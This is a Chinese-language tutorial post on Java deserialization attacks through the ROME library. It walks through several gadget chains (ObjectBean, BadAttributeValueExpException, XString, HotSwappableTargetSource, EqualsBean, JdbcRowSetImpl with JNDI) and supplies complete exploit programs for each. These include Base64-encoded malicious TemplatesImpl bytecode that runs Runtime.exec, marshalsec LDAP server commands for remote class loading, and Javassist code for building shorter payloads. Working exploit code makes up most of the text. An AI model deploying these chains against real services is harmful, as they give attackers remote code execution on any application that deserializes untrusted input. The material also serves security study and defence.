ROME反序列化

ROME

ROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

依赖:

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

基本原理

ToStringBean

Rome包中的com.sun.syndication.feed.impl.ToStringBean类中,提供了toString()方法,其中有两个toString()一个有参一个无参

2025-03-10T09:42:26.png

无参toString主要是获取_obj的类名并作为参数调用有参toString

![image-20250310094304098](D:\typoraNote\imgg\ROME反序列化\image-20250310094304098.png)

有参toString可以分三布,第一步getPropertyDescriptors,获取_beanClass中的getter、setter方法,跟进getPropertyDescriptors可以看到其中调用getPDs()方法

![image-20250310094726028](D:\typoraNote\imgg\ROME反序列化\image-20250310094726028.png)

跟进getPDs(),又调用了其他有参构造获取了其中的getter、setter方法,之后将其合并赋给list属性pds,并将其转换为数组形式返回

2025-03-10T09:43:02.png

获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);反射调用该方法_obj类的该方法

因此如果有对象在反序列化过程中会调用任意对象的 toString() 方法,就可以调用其他任意对象的 getter() 方法。

例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法

demo

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;

public class common {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");

        setValue(templatesimpl, "_name", "whatever");
        setValue(templatesimpl, "_bytecodes", new byte[][]{code});
        // 这里对_tfactory的反射赋值在反序列化链中可以不写这步,因为反序列化过程中TemplatesImpl#readObject()会对该值初始化,但Demo是直接调用toString()的
        // _tfactory 需要是一个TransformerFactoryImpl对象
        // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl);
        toStringBean.toString();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用链

ObjectBean链

这条链是Rome反序列化的原型,由ysoserial 作者提出

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

开始于HashMap#put(),如URLDNS链一般,会调用hashCode()

ObjectBean#hashCode()中会调用调用EqualsBean#beanhashCode()

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
    this._equalsBean = new EqualsBean(beanClass, obj);
    this._toStringBean = new ToStringBean(beanClass, obj);
    this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

// ...

public int hashCode() {
    return this._equalsBean.beanHashCode();
}
public EqualsBean(Class beanClass, Object obj) {
    if (!beanClass.isInstance(obj)) {
        throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
    } else {
        this._beanClass = beanClass;
        this._obj = obj;
    }
}

// ...

public int beanHashCode() {
    return this._obj.toString().hashCode();
}

EqualsBean#beanhashCode()调用toString()到ToStringBean

exp:

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class ObjectBeanROme {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "whatever");
        setFieldValue(obj, "_class", null);
        setFieldValue(obj, "_bytecodes", new byte[][]{code});

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean, "");

//        HashMap的put()时,会调用hash() -> hashCode(),因此需要put时先传入无害数据,在通过反射来修改_equalsBean为恶意的。
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

BadAttributeValueExpException链

cc5中就利用它触发TiedMapEntry类的 toString() 方法

BadAttributeValueExpException#readobject(),在最后调用了toString()方法,并且它的val属性我们可以通过反射修改,那就可以直接触发到ToStringBean中的toString方法

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class BadAttributeValueExpExceptionRome {
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        setFieldValue(obj,"_name","whatever");
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_class",null);

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",bean);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

XString链

com.sun.org.apache.xpath.internal.objects.XString是用于处理 XPath 相关操作的类

HashMap.readObject() -> XString.equals() -> 任意调 toString() 

HashMap#readObject()触发putVal(),

2025-03-10T09:43:23.png

跟进putVal(),调用equals方法

2025-03-10T09:43:30.png

由此处触发XString#equals()调用任意对象的toString方法

public boolean equals(Object obj2)
{

if (null == obj2)
  return false;

  // In order to handle the 'all' semantics of
  // nodeset comparisons, we always call the
  // nodeset function.
else if (obj2 instanceof XNodeSet)
  return obj2.equals(this);
else if(obj2 instanceof XNumber)
    return obj2.equals(this);
else
  return str().equals(obj2.toString());   //#########
}
package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import static org.example.Tools.*;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class XStringRome {
    public static void main(String[] args) throws Exception {
//        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");

        byte[] code = getBytes("rome.evil");
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "whatever");
        setValue(templates, "_bytecodes", new byte[][]{code});

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        XString xString = new XString("whatever");

        // yy 与 zZ 的 hashCode() 相同,因此才会触发 HashMap 去重操作
        // 这里添加的顺序也比较重要,要不然就反了
        Map map1 = new HashMap();
        map1.put("yy", toStringBean);
        map1.put("zZ", xString);

        Map map2 = new HashMap();
        map2.put("yy", xString);
        map2.put("zZ", toStringBean);

        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);

        setValue(toStringBean, "_beanClass", Templates.class);
        setValue(toStringBean, "_obj", templates);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

HotSwappableTargetSource链

HotSwappableTargetSource 是 Spring 框架中的一个类,属于 Spring AOP(Aspect-Oriented Programming) 组件,通常用于动态切换目标对象。它位于 spring-aop 依赖中

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.3.30</version> <!-- 选择适合你的 Spring 版本 -->
</dependency>

2025-03-10T09:43:41.png

这里equals()前后有两个target,这就需要构造两个HotSwappableTargetSource实例,左边为XString,右边为ToStringBean

然后再找一个equals来触发它,感觉有点多余(比如用HashMap的readObject())

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import static org.example.Tools.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import static org.example.Tools.getBytes;

public class HotSwappableTargetSourceRome {
    public static void main(String[] args) throws Exception {
        byte[] code = getBytes("rome.evil");
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "whatever");
        setValue(templates, "_bytecodes", new byte[][]{code});

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);

        // yy 与 zZ 的 hashCode() 相同,因此才会触发 HashMap 去重操作
        Map map1 = new HashMap();
        map1.put("yy", hotSwappableTargetSource2);
        map1.put("zZ", hotSwappableTargetSource1);

        Map map2 = new HashMap();
        map2.put("yy", hotSwappableTargetSource1);
        map2.put("zZ", hotSwappableTargetSource2);

        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);

        setValue(toStringBean, "_beanClass", Templates.class);
        setValue(toStringBean, "_obj", templates);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

或者说这个

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import static org.example.Tools.*;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;

public class HotSwappableTargetSourceRome2 {
    public static void main(String[] args) throws Exception{
        byte[] bytes = getBytes("rome.evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);
        
        HashMap hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource2,"1");
        hashMap.put(hotSwappableTargetSource1,"1");
        
        byte[] serialize = serialize(hashMap);
        System.out.println(new String(Base64.getEncoder().encode(serialize)));
        
        unserialize(serialize);
    }

}

EqualsBean 无ToStringBean链

前边的所有方式都用到了ToStringBean这条链,但若该类被加入了黑名单,则可用EqualsBean中的beanEquals()方法

2025-03-10T09:43:53.png

这里用cc7的调用equals 的方法,调用的是value的equals(),因此value要设置为EqualsBean类型,而equals()中的参数在beanEquals()中会判断是否为_beanClass的子类或子类实例_beanClass根据前边的经验是Templates类型的,因此equals()中的参数也要是Templates类型

map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);

EqualsBean equalsBean = new EqualsBean(String.class, "aaa");先无害化处理

package rome;
import static org.example.Tools.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;

import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Hashtable;

public class EqualsBeanRome {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("rome.evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        EqualsBean equalsBean = new EqualsBean(String.class, "aaa");// 这里先设无害的参数,要不然执行后会抛出异常结束进程
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean);
        map1.put("zZ",templates);
        map2.put("zZ",equalsBean);
        map2.put("yy",templates);

        //Hashtable hashtable = new Hashtable();  //这里HashMap和Hashtable都可以的
        HashMap hashtable = new HashMap();
        hashtable.put(map1,"1");
        hashtable.put(map2,"1");

        setFieldValue(equalsBean,"_beanClass",Templates.class);
        setFieldValue(equalsBean,"_obj",templates);

        byte[] serialize = serialize(hashtable);

        unserialize(serialize);
    }


}

JdbcRowSetImpl链

还是用ToStringBean#toString的触发方式,后边可以调用任意对象的getter方法,结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData(),在JdbcRowSetImpl的getDatabaseMetaData()会调用connect(),触发lookup()进行远程类加载

2025-03-10T09:44:03.png

lookup()中参数可控,可通过对应的Setter方法进行赋值

2025-03-10T09:44:09.png

由于getDatabaseMetaData()是以get开头,因此在ToStringBean的toString(),可通过循环反射调用

还是用HashMap调用hashCode()的方式触发

python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999
package rome;

import static org.example.Tools.*;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplRome {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:9999/test";
        jdbcRowSet.setDataSourceName(url);

        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");
        HashMap map = new HashMap();
        map.put(objectBean, "");

        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));


        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

利用Javassist缩短payload

2025-03-10T09:44:18.png

我们使用的恶意类,由于必须继承自AbstractTranslet方法,因此对其的两个transform方法进行了重写,添加了payload的长度.javassist是用来动态修改字节码的,可以通过javassist跳过编译去构建一个class文件.

String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();

得到

2025-03-10T09:44:24.png

大大减少了poc的长度

最后修改:2025 年 03 月 11 日
如果觉得我的文章对你有用,请随意赞赏